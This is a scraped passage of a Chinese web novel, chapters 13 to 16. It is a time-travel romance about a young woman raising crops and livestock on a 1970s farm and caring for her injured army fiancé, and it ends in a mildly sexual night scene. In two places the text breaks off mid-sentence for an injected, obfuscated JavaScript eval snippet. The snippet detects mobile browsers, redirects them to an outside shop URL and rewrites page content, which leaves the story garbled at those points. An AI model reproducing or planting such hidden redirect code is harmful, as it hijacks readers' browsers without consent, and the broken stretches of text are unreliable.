说话间,两人来到了地头,孟逐星放下油灯,接过镰刀开始割杂草,陆宗青则挥着锄头翻起地来。 月色明亮,微风阵阵,两个年轻男女独处荒野,气喘吁吁地……干着农活。 这场景莫名地让孟逐星觉得好笑,她忍了一下没忍住,笑出了声。 陆宗青挥锄头的动作一顿,手臂上的肌肉清晰可见,他疑惑抬头,“怎么了?” “没什么,宗青哥,你这大晚上的来帮我,会影响你明天训练吗?” 陆宗青继续干活,“不会,平时晚上回来后,我也常常去跑十公里,这点儿劳动不算什么。” 十公里……孟逐星咋舌,她最不喜欢跑步了,大学体测跑八百米都快要了她的小命,当下不禁对陆宗青又多了几分钦佩,“宗青哥你的体力真好。” 陆宗青抬头,眸中泛起笑意:“我读书不多,也就一身蛮力了。” 孟逐星连连摇头:“我听思甜提起过,你以前上学时成绩也很好的,后来是因为家里的事才辍学……以后你要是有空,咱们可以一块看书学习,对你只会有好处不会有坏处的。” 恢复高考后,如果陆宗青再上个军校进修几年,出来肯定前途无量。 哪怕两人没成,她可是真心当他是朋友的,当然希望朋友能有个好前程。 “好,就是这几年都不摸书本了,很多东西都忘了,你别嫌我笨。” “怎么会!” 两人边聊边干活,见月亮渐渐斜了,时候不早了,收拾东西回去。 一番忙碌后,孟逐星身上出了些汗,陆宗青嗅到了那股熟悉的味道,不禁面颊微热,轻声问:“你的怪病是加重了么?” “嗯?”孟逐星愣了一下,看清他不太自在的神色后,方明白过来他指的什么,“哦那个啊……也不能说是加重,就是在每个月那几天,或者是跟你接触多了,会有点严重……” 陆宗青愣住,“我?” 他面色怔忡,“难道是我的煞气影响了你?” 孟逐星原本还有些窘迫尴尬,怕他会多想,以为她对他怀有别样的心思,却万万没想到他会想到煞星这一层…… 她噗嗤笑出声:“与这个无关。” 陆宗青难得露出几分傻气,“那是什么?” “你自己慢慢猜。” 孟逐星故意卖了个关子,回到小院后打水洗漱,将泛着奶白的水倒在木桶里,一宿好眠。 次日,陆思甜仍有些不舒服便留在家里休息,孟逐星则去供销社买了些玉米、胡萝卜、白菜种子,挑着木桶去了菜地。 沿途难免会遇到些人,她对他们友好一笑,清晰地看到他们头顶闪烁的对话框—— 【诶这就是陆排长的未婚妻啊?怎么看着这么小。】 【这姑娘瞧着挺瘦弱,倒是蛮有力气的嘛。】 【前面就有一口井,这姑娘是不是不知道?要不怎么还大老远地挑水过去?咦,这水怎么这么浑?】 孟逐星佯作不知他们心中所想,一脸乖巧地经过众人,直到将水挑到地头放下,她才大喘了口气。 歇了一息,她开始顺着辙埋种子、浇水,种完之后,挑桶回去。 途中经过几间土房时,见门口有不少人聚集,里面传来吵架的声音。 孟逐星当即支起耳朵,凑到人群后面,小声问:“发生什么事了?” 一个大娘说:“还不是住这儿的几个知青又闹矛盾了,说是有人的东西丢了,怀疑是同屋的人偷的,正闹呢。” “丢什么了?” 另一人接口道:“口粮,有个知青的半袋口粮没了。” “哎唷这可真缺德,城里来的知青好多都干不了什么活,记不了多少工分,就指望着社里发的这点口粮呢,突然不见了这个月没得吃,可不得吵起来。” 孟逐星听了一会儿,见日头渐高,赶忙快步回了家,思甜还病着呢,她得回去做些好吃的给她补补。 屋后的豆角都快长疯了,炒、炖、蒸、凉拌,几人换着花样吃都吃不过来。 孟逐星摘了些鲜嫩的,在热水里焯了过凉水晾凉,用麻油、醋、盐凉拌了,中午有点热,陆思甜也没什么胃口,她就煮了些荞麦面配煎蛋。 吃罢饭,孟逐星睡了会觉,之后被小腹一阵阵的不适感弄醒,去了趟厕所,发现月事又来了。 就很烦。 不过烦躁也没用,孟逐星只好取出包袱里的圆布棉片塞进内衣里,以防溢出。 下午她就在屋后比划鸡圈的位置,寻思盖鸡圈所需的东西,木篱笆要弄得高一些才好,还有喂食、喝水的槽具等。 傍晚时,谢慧敏四人回来了,几人做饭的时候说起白天知青点吵架的事。 “后来不是说也没在其他人屋里找到粮食吗?”周蒙往灶里添柴,“依我看,不是屋里人干的,兴许是外面的人,或者是被老鼠啊啥的给偷了。” 孟逐星问:“那是怎么处理的?” “知青办那边来人调停安抚,给补了半袋口粮,说是会彻查此事,只是怎么查呀?估计也只能这样不了了之。” 谢慧敏道:“这样的话,他们那些人相处起来不是更难了?” “本来就是,”莫莉莉说,“大家从天南海北的来到这儿,很多人本就不情愿,白天上工累得要 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“没问题。”孟逐星看向宋若楠,她今晚没怎么说话,似乎有什么心事,“若楠,你有什么要买的没?” 宋若楠笑了笑:“不用了,谢谢,你们继续乘凉,我回屋歇着去了。” 孟逐星目送她瘦削的背影离去,眸中满是疑惑:“医院里出什么事了吗?她怎么瞧着情绪很低落的样子。” 周蒙小声说:“我中午的时候看到她从邮递员那拿了一封信,之后就变成这样了。” 谢慧敏皱眉:“难不成是家里出事了?” “可是我记得若楠说过,她跟家里关系不好,连过年的时候都没有信寄来。”莫莉莉托腮思索,“莫非,是男人寄来的信?” “什么?” 此言一出,其余几人都有些吃惊。 宋若楠气质清冷,平时除了在医院上班,就是与她们几个在一起,之前也有人追求过她,都被她给礼貌回绝了。 如今说有男人给她写信,她还因此情绪低落,让谢慧敏等人都有些难以置信。 周蒙说:“我觉得不太可能,若楠姐看着不太像是会喜欢男人的人。” 孟逐星连连点头:“+1,我也这么觉得。” 谢慧敏:“虽然我不知道什么是+1,但是我也这么觉得。” 莫莉莉:“……虽然是我提出来的猜想,但我也觉得很离谱,到底是什么样的男人,会让我们若楠伤心?简直匪夷所思!” “这些都是我们乱猜的,没有依据,可不能外传,免得惹出是非来。”谢慧敏叮嘱道。 “嗯嗯,我们知道的。”其余三人答应下来。 孟逐星说:“我们再悄悄观察看看,也许压根儿就没啥事呢。” “对!可能只是单纯的心情不好而已。” 几人又说了会儿话,夜深了便各自回屋。 这晚,孟逐星身体又不太舒服,好在她的秘密陆思甜已然知晓,处理起来不必再藏着掖着,尽管如此,陆思甜在看到那碗乳白液体时,还是瞪大了眼睛。 “真是太神奇了……” 小姑娘凑过来闻了闻,脸色红红。 头顶的对话框闪烁——【还好香啊,似乎很甜的样子……】 孟逐星:“……” 至于这个是什么味道,她也确实好奇过,但却没有尝过。 感觉太诡异了。 14. 第 14 章 夜里自然没有睡太好,第二天孟逐星眼底泛青出现在陆宗青面前,引来他关切担忧的目光,“你是哪里不舒服吗?还是这边的炕睡不习惯?” “哥,逐星姐她那个了。”陆思甜手舞足蹈地替她回答,“就、就那个……” 陆宗青怔了一下,耳根瞬间变红,“那,你还方便去镇上吗?要不你列好单子,我来给你买回来。” “问题不大。”孟逐星拍了拍衣兜里的钱袋,“好久没逛街了,我一定要去。” “那好,你要是有什么不舒服就及时跟我说。”陆宗青很不放心地看了她几眼,“或者我们坐车过去?” 他瞥了眼不远处正倚在自行车上卖弄风骚的李少阳,“坐自行车还是比较慢的。” “还是骑车吧,这边的客车太颠得慌了。”这会儿的路还都是黄土路,一刮风弄得满身泥,而且车里人又多又挤,体验感怎么都比不上原野上自由疾驰的二八大杠。 “好。” 陆宗青对李少阳招了下手,他就如只花蝴蝶般推车跑了过来。 “思甜妹妹!待会儿你坐我的车,保证稳稳当当的!” “谢谢少阳哥哥。” 孟逐星自然是上了陆宗青的车后座,她很久没被人带,下意识地便捉住了他的衣衫,军绿衬衫衬得她的手指愈发白皙—— 攥得太紧了可不得发白? 似是察觉到她的紧张,陆宗青转头温声道:“你要是害怕,就抱住我。” 这话说得就不太对了。 她才不是害怕,她只是有点不太习惯而已。 孟逐星不为难自己,伸手圈住了他的腰。 不圈不知道,一圈吓一跳,这把腰居然挺细的……还是那种很有韧劲儿的细。 她下意识地摸了摸,觉察到陆宗青忽地僵住了身子,心中大窘,忙解释道:“对不住,手滑了……” 陆宗青声线紧绷:“没事。” 孟逐星从他的声音里体会到了几分青涩,看来他真是没怎么和女孩子相处过啊。 不过自己也只不过是理论知识比他丰富了一些而已,两人在感情方面可以说是半斤八两。 从农场到镇上还挺远,沿途有一段路很长,两边都是荒地,长满了杂草,厚厚的白云低垂于天际,远远望去沼泽密布。 孟逐星很奇怪,“宗青哥,这边的地为什么都荒着?” “这边冬天极其寒冷又很漫长,没那么多人,且开垦起来很费力,就暂时放那儿了,以后会继续开垦的。” “那里面是不是有很多蚊虫蚂蟥之类的东西?” “嗯,我有不少战友被咬得肿了一圈,有的还中了蛇毒被紧急施救。” “啊……好凶险啊。” 陆宗青笑了笑:“是不容易,不过这边土地肥沃,辛苦些也不算什么。” 两人说着话,前面不时地传来李少阳爽朗的笑声,孟逐星歪着头去看,“这个少阳似乎挺爱说笑的。” “嗯,他很会跟人聊天。”陆宗青顿了顿,“不像我。” “没有啊,我觉得你这样也挺好的。”孟逐星由衷道,“我不喜欢话太多的人。” 陆宗青转头看了她一眼,唇角微弯,“前面拐个弯就快到了。” 不一会儿,到了镇上,孟逐星下了车,理了理衣服,跟陆宗青并肩而行。 李少阳一面推着车,一面指着前面的国营商店问:“思甜,哥带你去那边逛逛?” “不用了少阳哥,我不缺什么的。”陆思甜小声拒绝,“我就是跟着你们来转转。” “哎呀来都来了,不买点东西回去怎么行。” 李少阳很坚持,带着她朝商店走去。 孟逐星在后面看得真切,忍不住问:“这个少阳……不会是喜欢思甜吧?” 陆宗青淡声道:“这个倒不必担心,他就是这个性子,喜欢讨小姑娘欢心。” “担心?”孟逐星笑出声,“宗青哥这么说,少阳知道了要伤心的。” 李少阳转过头大声问:“什么什么?你们在说我什么坏话?” 孟逐星笑眯眯道:“没有呀,我们在夸你体贴大方。” 李少阳顿时昂头挺胸,一脸得意:“那是当然。” 四人将车锁了,在国营商店逛了起来。 店里张贴着“发展经济,保障供给”的标语,衬衫、毛巾、烟酒副食等对孟逐星来说并没什么好稀奇的,毕竟现代社会物质生活极其丰富,想买什么都有,但对于这个年代的人来说,很多东西都很紧俏,有钱都不好使得凭票供应。 陆宗青买了2斤大白兔奶糖,孟逐星则买了支牙膏、两块肥皂,李少阳则买了好几根色彩鲜艳的头绳,结账之后便送给了陆思甜一条。 孟逐星笑着打趣他:“少阳,你买这么多干嘛呀?怎么不送我一个?” 李少阳笑嘻嘻道:“医院里还有几个妹妹,我要送给她们,你有宗子呢,我哪儿敢送呀!” “妹妹?你究竟有几个好妹妹呀?” “嗐,也没认干亲,就这么叫着玩儿的。” 陆宗青将妹妹拉到一边,低声叮嘱:“看到没,他对其他人也这样,你可别被他给骗了去。” “哥你放心,我没那么傻的。” 李少阳:“……我听得一清二楚好吗?下次说别人坏话可不可以走远些?” 孟逐星在一旁看戏笑出了声。 之后又去买了一筐小鸡小鸭小鹅,以及两只小猪仔。 国营饭店人太多了,很多菜也卖完了,陆宗青只得排队买了几只热腾腾的大肉包,四人简单吃了口,装好东西往回赶。 回去比来的时候多了两只大竹筐,骑车时自然要费力些,太阳下,陆宗青的额角生出一层细汗,不时地被风吹走,军绿衬衫鼓满了风,脊背挺而宽阔。 孟逐星手腕环着他的腰,尽管还隔着一层衣衫,但她可以清晰地感觉到他的体温,隐隐有几分炽热。 这是一具强韧有力的年轻躯体,而非存在于她手机里的纸片人。 耳边是呼呼刮过的风,头顶是湛蓝色天空与大片的白云,在这个时刻,孟逐星心尖上蓦地涌出一股踏实的幸福感来—— 生活忙忙碌碌,也许为的便是这样平静安心的瞬间。 她忍不住将脸贴在了陆宗青的背后,低声说:“宗青哥,你再等等我。” 虽然这个年代女孩十八岁就可以领证,但是孟逐星毕竟是现代人,她还想两人再相处相处。 耳边夏风呼啸,片刻过后,陆宗青低沉的声音传来—— “好。” ** 回到农场后,四人都热得不行,孟逐星打了水洗脸,陆宗青说他来做饭。 “时候也不早了,我就简单做个打卤凉面吧。” 他洗干净手开始和面、擀面、切条,李少阳麻利地打下手烧水,听他吩咐去屋后摘了几根黄瓜和一把鲜豆角。 很快饭桌上便出现了一碗鸡蛋炸酱、一盘拍黄瓜、一盘蒜泥豆角,配着过罢凉水的荞麦面吃尤为爽口。 孟逐星夸赞道:“宗青哥做饭真有一手,少阳你干活也很麻利。” 陆宗青淡淡笑了笑,“今天时间赶,改天有空多做几个菜让你尝尝。” 李少阳虽然只是帮忙打下手却也满脸得意,幸亏他没有尾巴,要不然肯定要摇到天上去了。 吃罢饭,孟逐星要收拾碗筷被陆宗青按住,“天怪热的,你和思甜去屋里歇会儿吧。” “你们也回宿舍睡会儿吧?” 李少阳笑嘻嘻道:“我一点儿都不累,宗子更是有名的精力旺盛,待会儿我们去屋后瞅瞅,打算把猪圈、鸡圈给盖起来。” 上午买来的鸡鸭鹅临时关在了竹笼里,小猪则系在了门口树上。 孟逐星确实需要进屋去处理一下,裹胸的棉布片已然浸湿,贴在身上湿津津的很难受,她也没跟两人客气,跟陆思甜回了房。 一进屋关上门,陆思甜就悄悄问:“逐星姐,你是不是需要擦一下啊?” “嗯?”孟逐星愣了一下,“味道很重么?” 陆思甜点了点头:“这两天都很浓郁。” “……” 孟逐星捂住脸,“这么明显的话,那岂不是他们俩也闻到了……” 陆思甜抿唇笑了笑:“我哥大概率是的,他耳根老是有点红,少阳哥哥应该没有,他没那么细心。” 这也不是细不细心的问题好不好…… 孟逐星赶忙提来暖瓶,倒了些温水在盆里,手指触到衣服时,见陆思甜已经脱鞋上了炕,懂事地拉上了小床帘。 嗯… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“人家哪里有瞎说?人家明明两只眼睛都看到了呀~” 陆宗青:“……” 他没搭理某人,继续干活。 某人却像是突然充满了电,开始发嗲发癫:“宗青哥~甜水那么好喝你为什么不喜欢呢?还要人家再跑一趟啦哎呀真讨厌~” “…………” 孟逐星过来时就听到了李少阳娇嗲而难掩浑厚的嗓音,她冷不丁打了个寒颤,古怪地看向二人。 陆宗青百口莫辩,李少阳则恬不知耻地给她抛了个媚眼儿。 “…………” 这个人真的好奇怪啊,一定要让思甜离他远一点。 猪圈、鸡舍落成后,鸡鸭鹅与猪仔各归其位,孟逐星依次给它们喂了食,把木桶里新积攒的水倒进了水槽。 ——又到了见证奇迹的时刻。 这天夜里,孟逐星本以为自己会梦到白切鸡、烤鸭与肥而不腻的红烧肉,却没想到做了一个奇怪的梦—— 陆宗青在外出执行公务时,竟然遇见了野熊攻击!他为了保护领导车子侧翻,领导只是受了轻伤,他却摔断了腿,满脸是血昏迷不醒。 孟逐星满头是汗地惊醒,心口直跳,这、这个梦莫不是和之前山洪那次一样? 她心慌许久,再也没有睡着。 次日,她趁陆宗青中午吃饭时跑去找他,旁敲侧击问他最近是否要陪领导外出,在得到否定的回答后,孟逐星略微放心几分。 不过她还是隐晦地提醒:“你要是出门,一定要多注意安全,以防撞到什么东西。” 陆宗青疑惑皱眉,“好。” 接下来几天都是风平浪静,孟逐星忙着喂鸡养猪,陆思甜帮忙打下手,空闲之余两人会和院子里的姑娘们一块儿看书聊天,偶尔才会跟陆宗青见上一面。 他们最近很忙,连李少阳都很少去医院跟护士们贫嘴闹着玩了。 莫莉莉对此表示很开心:“终于不用见那人了,整天嬉皮笑脸的那么多话,真招人烦,白瞎了那张脸。” 陆思甜点了点头:“确实,少阳哥要是不会说话,肯定有很多女孩喜欢他。” 莫莉莉哈哈大笑:“小甜你说得太对了!” 远处深山老林里演习的李少阳莫名打了个喷嚏,嗯?是谁在想他? 小梅小红还是翠花? 啧,人有时候太受欢迎了也很让人苦恼。 15. 第 15 章 得知陆宗青真的出事时,孟逐星正在打猪草,见陆思甜哭得上气不接下气,她心中咯噔一下,意识到大事不好。 飞奔到医院,看着床上脸色苍白昏迷不醒的陆宗青,孟逐星登时就红了眼眶。 看来那个梦是真的……那么说他的腿也…… 一个陌生面孔走过来说:“你们是陆排长的家属吧?我是宗青的战友吴顺喜,你们别太担心,宗青他是受了些伤,但不是很严重,休养几天就好了。” 孟逐星哽咽道:“腿都断了怎么还是小伤……” 吴顺喜挠了挠头:“啊?谁跟你说他的腿断了?” “啊……”孟逐星眨了眨眼,“他的腿没事?” “也不能说没事,小腿有些轻微骨裂,身上还有几处擦伤,之所以昏迷不醒是车子侧翻震动太剧烈导致的,医生做过检查了,不用担心。” “好的,多谢你了。” 孟逐星松了口气,看来那梦并不太准,只是轻微骨裂的话就不会有什么问题,要是真的断腿了可就麻烦了…… 虽说可以医治,但谁也不能保证不会留下什么后遗症。 她是有点喜欢陆宗青,也打算和他组成家庭,但是那是建立在他身体健康的基础之上。 说她自私也好,孟逐星自认为她还没做好准备与一个残疾人度过余生。 她本来就是一个普通人,会权衡利弊不是很正常的吗? 她不伟大,也不想主动去吃苦。 有选择的情况下,谁都想活得更轻松吧? 得知陆宗青并无大碍,陆思甜也止住了哭泣,两人在病床前守了半日,临近傍晚时,陆宗青才缓缓睁开了眼睛。 他怔了怔,看到周围的环境才意识到自己在医院里,他腾地坐起身满脸紧张:“首长呢?他怎么样?” 孟逐星连忙扶他躺下,“你放心,他没事,倒是你小腿轻微骨裂,还有好几处擦伤,你现在觉得怎样?饿不饿?想吃什么?” 陆宗青面色稍缓,“麻烦给我倒杯水,谢谢。” 一旁的陆思甜赶紧倒了杯温水递给他,红着眼圈问:“哥你身上疼吗?” “不碍事,只是小伤。”陆宗青喝罢水,对她笑了笑,“养几天就好了。” “之前不是还听少阳哥说你们在山里演习,怎么会突然翻车?” “领导临时有事要去外地,司机生病,由我开车送他,路上却遇到了野熊攻击……” “野熊?!”陆思甜惊讶,“哥你确定其他地方没受伤吗?” 陆宗青笑了笑,“没有,虽然是野熊,但毕竟我们都在车里,甩掉它之后车子却在一个山坳里发生了侧翻,幸亏有其他连队的人经过,要不然我们也不会那么快被人发现……” 孟逐星心道果然如此,愈发对自己的异能摸不着头脑——这预知梦是多久做一回?难不成是只会对不好的事情提前做个预警? “幸亏有逐星的提醒。”陆宗青道。 “嗯?” “要不是你那天提醒我出门注意安全,我在开车时就尤为注意路况,及时发现了野熊,及时地避让甩开它,才没有造成更严重的后果。” 陆思甜两眼亮晶晶:“逐星姐,都是你的功劳。” 孟逐星干笑两声:“也没有啦,我只是随口提了一句,是你自己的细心救了你自己。” 陆宗青凝视着她,“总之,你救了我一命。” “……” 陆思甜在一旁捂嘴偷笑,“那哥你要怎么报答逐星姐呀?” 孟逐星见陆宗青神色认真地思索,怕他说出什么不好收场的话来,赶忙岔开话题:“哎呀你们都不饿吗?想吃什么?我去食堂打饭,给你们带回来。” 陆思甜报了个菜名,孟逐星眼神询问陆宗青,后者开口道:“地三鲜。” “好嘞。” 孟逐星飞快去了食堂,打了饭回来,三人吃罢,讨论到一个问题。 “你小腿轻微骨裂,医生说不宜乱动,晚上你这边是不是留个人照顾比较好?” 陆宗青说:“少阳他们还没回来,我动作慢一些应该不要紧。” “那怎么行。”陆思甜不同意,“哥我晚上留下来照顾你。” “不用,你身子较弱还是别熬夜的好。” “可是我不放心你一个人……” “医院里不是有护士值班呢么?我有需要时叫人就好。” “那也没有自己人照顾得贴心啊,我留下。” 两兄妹争执起来。 孟逐星揉了揉眉心,打断道:“不如我留下?” “啊……”陆思甜愣了一下,旋即又笑开,“好呀!这样你们可以单独相处了!” 孟逐星、陆宗青:“…………” “咳,反正医院有陪护床,让我来照顾你吧宗青哥?” “这样不会影响你吗?”陆宗青看着她,“我怕你会休息不好。” 孟逐星摇了摇头,“不会,我睡眠质量老好了,打雷都吵醒的那种。” 既然说定了,趁着天还没黑,孟逐星回了趟小院洗漱,取了薄被枕头回了医院。 途中难免遇到人,暮色下,她清晰地看到他们头顶闪烁的对话框: 【听说陆排长因公受伤,他这小未婚妻是去照顾的吧?】 【别说你还真别说,这两人倒真是般配。】 【哎可惜了我家的二妞,小陆怎么就没喜欢她呢?】 …… 孟逐星面上淡淡浅笑,心内却小声嘀咕:好家伙,陆宗青在这儿还挺有市场。 当晚,医院住院的人并不多,整个二楼都静悄悄的。 孟逐星去水房打了水,浸湿毛巾拧干,准备给陆宗青擦脸。 “要不还是我自己来?”陆宗青耳根微红,眼神微微闪烁。 “你都是病号了还逞什么强呀。”孟逐星小心地避过他额角的擦伤,轻轻擦拭着,“这道疤痕也是之前你出任务时留下的吗?” “嗯,演练在所难免,也都糙习惯了。” 孟逐星下意识地说:“那能避免还是尽量避免呀,这么英俊的一张脸要是布满了疤痕多可惜。” 见陆宗青迟迟没有说话,她疑惑抬头,与他四目相对—— “怎么了?” 陆宗青抿了抿唇,“没事,你……在夸我?” “对啊。”孟逐星眉眼弯弯,“宗青哥哥长得就是很好看呀。” 宗青哥哥…… 陆宗青肉眼可见地红了脸。 头一回见到这种场面的孟逐星很是好奇,忍不住伸手戳了戳他的面颊,“诶,还很热诶!好神奇!” “……” 脸快冒出热气的陆宗青略显窘迫,“别……注意点儿影响。” 孟逐星眨了眨眼,“我做什么过分的事了吗?旁人都说我们是未婚夫妻,可直到现在,我们连手都还没牵过呢。” 陆宗青眼神闪了闪,“你很想牵?”他的手往被子里缩了缩,“可我的手很粗糙……” 孟逐星被他逗笑,“怎么,难不成你还要特地保养一番后,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732931|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿来给我牵?” 陆宗青脖子都红了几分,“也、也没有,我是怕你会不喜欢。” “不用有那么重的包袱呀,”孟逐星将毛巾洗干净晾好,笑道,“我们就顺其自然就好了。” 病房不大,摆上陪护床后就愈发显得拥挤,为了方便,孟逐星就睡在了陆宗青旁边,两人不过半只手臂的距离。 为了省电,屋里只开着一盏小灯,两人并躺着在昏暗的灯光下聊天。 “宗青哥,医生说你的伤要养上七八天,这应该可以算工伤吧?” “嗯,怎么了?” “唔那就好,我是觉得怎么说你也是因为公务才……要是不算工伤就太亏了。” 打工人可看不得这些,吃不得这种哑巴亏。 陆宗青笑了笑:“这个你放心,该有的待遇不会少的。你的鸡鸭和猪养得怎么样?需要我帮忙吗?” “不用,就每天准备食物和水就成,也不知是不是这里的水土比较好,个个都长得挺快的。”孟逐星有意地铺垫,省得改天他见到飞速生长的鸡鸭猪感到诧异。 “嗯?还有这事儿?”陆宗青面露诧色,“在你之前,也有不少知青、乡亲们养鸡养猪,没听说他们的长得快啊……” 孟逐星笑道:“那就是我们屋后那块地是块宝地呗,我运气好被我给捡漏了。” “你说得对,”陆宗青侧过脸看着她,黑眸蕴着细碎的光,“不过我觉得也不仅仅是运气,你勤快细心,这些都是你应得的回报。” 这话听得孟逐星很是受用,她特别不喜欢凡事总爱否定你,然后再洋洋洒洒发表一通自己的看法,这种杠精她在现代见得太多十分讨厌。 陆宗青却似乎总是先肯定她的话,再进行一定的补充,这样的相处方式让她感到有被很好地尊重着。 她侧过身看着他,问:“宗青哥,你是不是偷偷上过什么‘教你高情商说话’之类的课?” 陆宗青一脸迷茫,“那是什么?” 孟逐星笑着摆了摆手儿,“没啥,我就是想到我曾经做过的一个奇怪的梦,梦里的世界跟我们这里很不一样,那里更发达、更先进,人们的物质生活与娱乐手段都更丰富了,可是人与人之间的相处却出了问题。” “哦?怎么说?” “唔,好像是出现了特别神奇的工具叫‘网络’,拿着一个巴掌大带屏幕的‘手机’就可以和千万里之外的人聊天、见面,但邻里之间、楼上楼下却格外疏远,有的住了好几年连对门是男是女都不知道。” 陆宗青疑惑道:“网络?手机?那是什么?” “呃,这个我也不太清楚,就之前做过的一个乱七八糟的梦。”孟逐星小心翼翼道,“宗青哥,你相不相信前世今生?” “嗯?”陆宗青一时没跟上她跳跃的脑回路,“怎么突然问这个?” “就是我怀疑那是我前世生活的地方。”孟逐星开始一本正经地胡说八道,“要不然我怎么总梦到那个世界?而且很多细节都特别清晰,就好像我脑海中突然地涌入了很多我不熟悉的东西……” “所以我猜,要么那是我的前世,要么,我就是那个世界飘到这个世界的一抹游魂,随时都可能消失。” 她话音刚落,房门被风吹动发出吱呀的声响,给寂静夜色增添了几分鬼魅。 陆宗青沉默须臾,“我不信鬼神。” 孟逐星觉得有点没趣,正要再说什么,就听他道—— “但如果你真的是异世界的一抹游魂,我有什么方法,可以永远留住你?” 16. 第 16 章 孟逐星有几分愕然,“你、你相信我说的话?” 陆宗青盯着她,“你骗我了吗?” “……没有。” 这话孟逐星可是摸着良心说的,莫名其妙穿越到这个年代,她怎么不算异世界的一抹游魂呢? 而至于会不会消失她也不知道呀,所以这也不能算是说谎。 “所以,我该怎么样留住你?”陆宗青直盯着她,对这个问题很是执着。 孟逐星眨了眨眼,狡黠一笑:“你就对我好一点,再好一点。” 陆宗青怔了一下,唇角微微弯起,“好。” 熄灯时间到,屋里变得昏暗,只有从窗户透过来的月光,映得周遭一片朦胧。 孟逐星只能模糊地看到陆宗青的轮廓,跟他有一搭没一搭地聊着天,忽然见他直起身准备下床,她忙跳下床扶他,“你需要什么?我来帮你。” “……我去厕所。” “哦哦,我扶你过去。” 公共厕所在走廊尽头,大概有几十米远。 考虑到他右边小腿轻微骨裂,孟逐星便将他的手放在自己肩上,“你靠在我身上,不要怕压到我,你的腿千万别使力。” “好。”陆宗青口上答应,实际还是虚搭在她身上,两人身高体型差距颇多,他要是真靠她身上,他怕把她的小身板给压坏了…… “你怎么这么不听话!”孟逐星察觉到他的阴奉阳违,径直握住他的手揽住了自己的肩膀,紧贴在他的身体,“走吧,省得你一会儿着急。” 着急?着什么急……陆宗青反应过来,耳根热了热,僵硬着身子与她朝走廊尽头走去。 也不知是他躺了一天才起来的,还是失血多了所致,陆宗青觉得自己仿佛走在一片软绵绵的草地上,鼻息间除了有浓重的消毒水外,还浮动着些许馨甜气息。 手臂、腰腹所接触到的,是纤细柔软的肌骨。 哪怕在昏暗中看不分明,他也清晰地意识到这与他的截然不同。 这种感觉很难形容,陆宗青竟突然有几分喘不上气来。 他急促的呼吸声在暗夜中显得尤为突兀。 孟逐星小声问:“憋不住了吗?再坚持一下马上就到。” “……” 陆宗青有口难言。 好不容易到了厕所门口,孟逐星目送他进去,贴心问:“要不要我帮忙?” “……不用。” “哦,好,那你小心点哦。” 陆宗青方便完,洗了手,一转身便看到孟逐星已然做好“人体拐杖”的准备。 他面颊发热,将手搭在了她肩上。 回到病房后,两人没再多说闭上眼睛睡觉了。 半夜时,陆宗青被一阵窸窸窣窣的声响吵醒。 起初他以为是屋里进了老鼠之类的,之后这声响越来越大,越来越怪,他缓缓睁开了眼—— 陪护床上空无一人,倒是不远处的窗边站着一个人影,身子轻轻颤抖着。 “逐星?”他疑惑开口,“你怎么了?” “啊……宗青哥,我吵到你了吗?”孟逐星的声音听起来十分细弱,好像很难受的样子。 陆宗青起身下床,走近她,“你哪里不舒服吗?要不要我叫护士来?” “别!”孟逐星倒吸一口气,颤声道,“我、我只是有点涨,挤出来就好了。” 陆宗青知道她身体的情况,当即心下一松,“那就好,你怎么不坐在床边?” “我怕影响到你。” “没关系,你坐着应该更方便。” 月光勾勒出少女纤细的身影,却看不清她的面容,陆宗青退回到床边,转过身不去看她。 挨得近了,他才明白她说的“影响”是指什么。 夜色使人的听觉与嗅觉更为敏锐,窸窣的衣料摩擦声,渐渐浓郁的奶香,以及那若有似无的馨甜,无一不冲击着陆宗青的感官。 他的脊背渐渐变得僵硬。 而身后的孟逐星似乎遇到了什么困难,呼吸渐重,隐隐添了几分哭腔。 陆宗青抿了抿唇,低声问:“你还好么?” “唔,不太好。”孟逐星小声哽咽,“好像肿了,我没办法。” “……” 陆宗青心口急跳数下,“那我去叫护士来?” “不行,我不想被人知道……” 农场就是个大社区,藏不住秘密,这样离奇怪异的事还是越少人知道越好。 “那我能做什么?” 孟逐星疼得满头大汗,手也酸得不行,她下意识地说:“要不然你来帮我?” “帮你?”陆宗青心跳漏了一拍,“怎么帮?” 他难以控制地想到了某些不该想的画面。 孟逐星却没说话,轻轻上了床,从背后抱住了他。 一片温热触到了他的脊背,陆宗青怔了怔,就见她握住了自己的手。 “宗青哥,你是真心想我做你妻子的对吗?” “嗯,我做梦都想。” “那你帮帮我。” 陆宗青还未反应过来她说的“帮”是什么意思,手指便触在了她的肌肤上。 他头脑霎时间变得空白,呆愣住不知该如何是好。 孟逐星在他耳边小声开口:“宗青哥,求你帮帮我。” 她说罢,挪到了他身前,与他四目相对。 就着淡淡的月光,陆宗青看到了她泛着泪光的湿漉漉的眼睛,楚楚可怜。 他舔了舔干涩的唇,哑声道:“好。” 指尖略微使力,孟逐星便忍不住低呼出声,身子往后仰倒——陆宗青伸手握住了她的腰。 “这样似乎不太方便。”他想了想,将孟逐星抱放在左手边,自己则躺在了她的身后。 他的手指修长而有力,指腹与掌心有一层薄茧,即便隔着衣衫,还是会磨得微疼。可这点疼对此时的孟逐星来说不算什么,胸/口的胀痛让她身体都忍不住颤栗起来。 “有好一些吗?” 孟逐星低声道:“嗯,可以、范围大一些。” 黑暗中,两人身体紧挨着,陆宗青眼睛虽看不真切,鼻息间却萦绕着浓郁的奶香,再加上手上柔软的触感,他呼吸渐渐变得急促。 两人的呼吸声交织在一起,在暗夜中格外清晰。 不知过了多久,孟逐星觉得没那么疼了,可身上却软绵绵的出了一层薄汗。 身后的陆宗青也似乎很热,隔着两层衣衫,他的体温都十分明显。 与体温一样不可忽视的是他的反应。 孟逐星面色通红,不敢吱声,声若蚊蝇地对他道了谢,颤着手拢好了衣服。 